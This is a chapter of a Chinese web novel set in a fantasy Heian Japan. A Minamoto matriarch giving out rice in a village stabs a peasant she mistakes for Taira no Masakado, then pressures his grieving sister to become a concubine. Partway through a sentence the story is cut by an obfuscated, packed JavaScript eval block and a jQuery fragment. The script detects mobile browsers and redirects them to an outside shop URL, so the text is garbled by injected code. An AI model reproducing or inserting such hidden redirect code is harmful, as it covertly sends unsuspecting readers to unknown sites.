几辆摞得齐整的粮车碾过深浅不一的车辙,木轱辘吱呀作响,跟在一匹匹健马身后,慢悠悠晃到九条村村口。

    夜姬勒住缰绳,整理了一下被风就被人扶着下了马。

    身后几名仆从腰佩短刀,脊背绷得笔直。

    她此番出城,打的是赈济的名头,实际是物色年轻的女孩带回源家。

    她作为源赖光的太奶奶,可不能背负与孙子不伦的罪名。

    说不定找了漂亮的女孩子做他的新夫人,他就会失去对她的好奇心和新鲜劲。

    至于她要到乡野地方找美女的理由,主要是京里公卿家的小姐们都恃才傲物,很难让她们放下身段曲意逢迎,去勾引源赖光。

    山野妖物里,倒是不乏绝色,但皮毛化得再精致,也瞒不过源赖光的眼睛。

    而且他向来是最讨厌妖的,别说收进房里,怕是刚跨进源氏大门,就被他一刀劈成两半,平白糟蹋了好模样。

    算来算去,也就这些乡野村落里的贫家女儿最合适。因为她们既干净听话,又没那些世家小姐的臭脾气。

    假如这村子挑不出合意的,就往南再走两个村。

    今日几车精米带得足,耗上一整天,总能淘着个顺眼的。

    夜姬扫了眼错落低矮的茅草屋顶,跟身旁的侍从说:“去把村长叫来。”

    不多时,九条村长一路小跑着过来。

    村长的粗布短褐上沾着泥点,裤脚卷到膝盖,见了夜姬连忙深深躬身,头埋得快贴到胸口,连大气都不敢喘。

    等听清是源氏主母来村里做善事,老人又惊又喜,忙不迭应着,转身就往村里跑,跑两步还差点被土坎绊倒。

    村长站在村中老树下,清了清嗓子,把声音拔得最高,喊得整条村子都能听见:

    “各位!互相传告一下!这位是源氏的主母,大家停下手上的活,都来领粮食吧!”

    这条村土地贫瘠,粮食产量低,上交的粮最少。即便是今年丰收,村里的人留下给自己的口粮,也只够一天一顿。

    源氏来派发粮食的消息像风一样刮遍全村。

    扛着锄头的农夫,抱着麻线的妇人,光着脚追跑的孩童,纷纷从田埂,屋舍里涌出来。

    有人拎着补了又补的布口袋,或是挎着竹编的浅篮,马上来集合排队了。

    有些人来得太急,空着两只手就往队伍里站。

    众人脸上又怯又喜,低声说着“多谢源氏主母大恩”,自觉排成两队,不敢喧哗。

    夜姬站在临时搭起的木案后,案上摊着泛黄的粮册,旁边敞着一口袋莹白饱满的精米。

    她接过村长双手递来的缴粮名册,翻过纸页,缓缓开口:“今年你们村子的田产不多,但纳贡给源家的不少,留下自己的那份实在太少了。所以我打算把粮仓里的余量拿出来,重新分还给各位。”

    夜姬声音不高,却清清楚楚压过了四下的细碎人声。

    说是余量,实际夜姬看到有多少就拿多少,还只拿白米,不拿粗粮。

    她认为那群不肖子孙,不用给他们吃太饱的,一旦吃太饱,就会有乱七八糟的事发生。

    而且,源赖光近来一门心思练他的鬼兵,不怎么招募兵卒,粮仓里的陈粮堆着也是发霉长虫,倒不如拿出来。

    说来也奇怪,他回来那么多天并没有收回她的管家权。像粮仓这种重地,甚至随意她调度的。

    可能因为她有孩子,怕她拿孩子作为要挟吧……

    还有最重要的一点。

    在源氏的圈地里,不能有人饿死。传出去,只会平白落个苛待治下的话柄。

    夜姬随后让侍从捧着名册逐户唱名,她将衣袖挽到小臂,用绳子绑起来,露出一截皓白的手腕,然后亲自执了木勺,一勺一勺将白米舀进村民的容器里。

    村民接粮时个个躬身道谢,是真切的感激。

    队伍慢慢往前挪,夜姬漫不经心地扫过一张张被日头晒得黝黑的脸,大多是寻常乡野模样,没什么出彩的。

    直到来到队尾,她手里的木勺突然一顿,悬在半空。

    队伍最后站着个身形高大的男人,一身粗麻短褐洗得发白,领口袖口都磨出了毛边,却收拾得干干净净。

    他肩背宽阔挺拔,站在一群佝偻的乡民里,格外扎眼。

    他身侧挨着个十六七岁的少女,同样是粗布衣裙,腰间系着根旧布带,眉眼却生得极秀气。

    少女鼻梁小巧,唇瓣粉嫩,娇娇小小的一团,侧脸的轮廓竟有几分像夜姬。

    夜姬把木勺随手递给身旁的侍从,用帕子擦了擦手,便绕开排队的人群,往队尾走去。

    她步子不快,却牢牢锁在那个男人的背影上,越走近,心跳得越厉害。

    等终于站到对方面前,看清那张逆光的脸的瞬间,夜姬只觉得脑子里“嗡”的一声,浑身的血液仿佛瞬间冻住,又瞬间烧起来。

    她呼吸猛地顿住,腿一软,整个人直直往前栽下去,指尖在空中徒劳地抓了一下,喉咙发紧,差一点就喊出那个名字。

    平将门!

    怎么可能……他不是在姐姐的结界里吗?难道是转世?!!

    “夫人!夫人!您没事吧!”

    旁边的村民惊呼一声,连忙伸手来扶。

    然而最先稳稳托住她胳膊的,正是那个身形酷似平将门的男人。

    他手掌宽厚粗糙,带着常年劳作磨出的薄茧,力道很沉。

    紧跟着那个少女也凑过来,小手轻轻扶住她另一边手臂,仰着一张满是担忧的脸:“夫人小心,地上滑,您有没有摔疼?”

    前面排队的村民听见动静,纷纷回头望过来,一张张脸上满是好奇与惶恐。

    随行的侍女仆从吓得脸色煞白,连忙快步跑过来,小心翼翼地从男人手里接过夜姬,一个个垂着头,连眼角都不敢乱瞟。

    他们是真的怕。

    一来怕主母摔着腹中的孩子,二来更怕她又在发疯。

    前些日子宅里那两个跟着源月清办事的下人,莫名其妙地被她当场斩了,那血溅三尺的模样,没人敢忘。

    此时夜姬整个人都在控制不住地发抖。

    她没吭声,猝不及防地按住腰间刀柄,“锵”地出鞘,长长的刀刃直直捅进了男人的心口。

    刀刃穿胸而过,温热的血瞬间喷溅出来,溅在她红色的衣摆上。

    四周爆发出一阵凄厉的尖叫,村民们吓得连连后退。

    有人摔在地上,打翻了手里的米袋,白花花的米粒撒了满地,混着泥土与血珠,狼藉一片。

    身旁的少女扑过去扶住缓缓倒下的男人,眼泪瞬间涌了出来,不可置信地哭喊:“阿河哥哥!哥哥!你醒醒!你怎么样啊!”

    “阿河……”

    夜姬喃喃重复了一遍这个陌生的名字,握着刀柄的手骤然松开。

    太刀“当啷”一声落在黄土里,她像是从梦魇里挣脱出来,猛地回神,定了定神,再垂眸去看地上的男人。

    他和平将门的模样其实并不像。

    只是身形站姿,还有方才逆光里的下颌线,像了七八分。

    是她近来被噩梦缠得太紧,神经过于紧绷,才会一眼错认。

    这些日子她总睡不安稳,夜夜都做同一个梦。

    梦里姐姐布下的结界寸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797262|206646||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    寸碎裂,平将门浑身是血地从封印里走出来,笑着朝她伸手。

    每次惊醒,她都是一身冷汗,心口狂跳半天缓不过来。

    宁可错杀,不可放过,万一是真的呢?

    她收回思绪,吩咐身旁的侍从:“找医生过来,看他死了没有,死了就给安葬费,没死就别让我再见到他。”

    “遵命。”

    侍从连忙躬身应下,迅速去拿了担架,把人抬走到一间房子里,跟着忙忙碌碌地叫上随行医生进来救人。

    少女原也想进去看她哥哥的,可被夜姬的侍从拦了下来,挣扎无果的少女满脸都是泪痕,却梗着脖子死死瞪着夜姬。

    “你凭什么杀人!”

    她跪坐在地上,哭着说:“你怎么能草菅人命!你不是大善人吗?为什么突然要杀他?!为什么要杀我哥哥!”

    夜姬低头看她,一脸无所谓:“对不起,我认错人了。你想要什么赔偿,尽管开口。”

    “或者,你就跟着我,做我夫君的姬妾,我可以给你锦衣玉食的生活,就当做是补偿了。”

    少女一下子愣住了,眼泪都忘了掉,张着嘴怔怔地看着她,像是听见了什么天大的笑话。

    半晌才颤着声反问:“什么?让我做……源赖光大人的姬妾?”

    “是。”夜姬点头,“我们家主喜欢漂亮年轻的女人,他才十九岁,你这样年龄正好合适他。”

    少女呆呆地望着她。

    眼前的源氏主母瞧着跟她差不多大,说起这种送人与丈夫做妾的事,更像长辈在替自家子侄张罗婚事一般,让她一时说不出话。

    “愿不愿意,只要你一句话。”夜姬十分诚恳。

    “可你杀了我哥哥,我怎么能跟仇人回家!”少女咬着唇,眼泪又噼里啪啦掉了下来。

    夜姬往前走了半步,一手拖着沉重的肚子,慢慢半蹲下来,看着地上的少女,温言细语地说:

    “我知道你很难过,虽然你刚失去了哥哥,但是没关系,你还有我啊。我会像你哥哥一样对你好的,何况他在救治,还不一定会死。”

    她继续蛊惑说:“你想想,等你成了源赖光大人的夫人,不止你哥哥,还有你弟弟,妹妹,都能过上很好的日子。等羽翼丰满,你还可以向我复仇。”

    少女抬着泪眼望她,眼里带着点不服输的倔强,还真有几分像她。

    “去了我也只是侧室,没有地位,怎么向你复仇?”少女咬牙切齿。

    就凭这句话,夜姬心里反倒更满意了。

    软乎乎的面团子源赖光是瞧不上的,那种骨子里带刺的,反倒能勾得住他。

    这少女性子模样都合夜姬心意,没挑错。

    夜姬直起身,解下手上那只源赖光给的订婚手镯。

    而后抓起少女的手,强行给她戴上,说:“只要你能得到夫君的宠爱,是不是正室又有什么所谓?

    就像我的父亲,他就爱他在外面养的小夫人,而且还把小夫人生的小儿子接过来当做自己的继承人来培养,到时要什么没有?”

    夜姬见过太多这样的例子了。

    当正室总是最吃亏的。

    既要美丽端庄,又要时刻维持体面,还要生孩子,处理家事,替丈夫分忧,体谅丈夫,和丈夫的姬妾们和睦相处,不累死都得憋出一身病。

    自她被休弃回源家后的那时起就发誓过,如果家里还要逼她嫁人的话,就一定要做别人的小老婆。

    而且最好可以不跟着回夫家,只能在娘家待着的那种小老婆,这样她就可以光明正大地腻着姐姐了。

    可惜这个美好的愿望,到死那天都没能实现。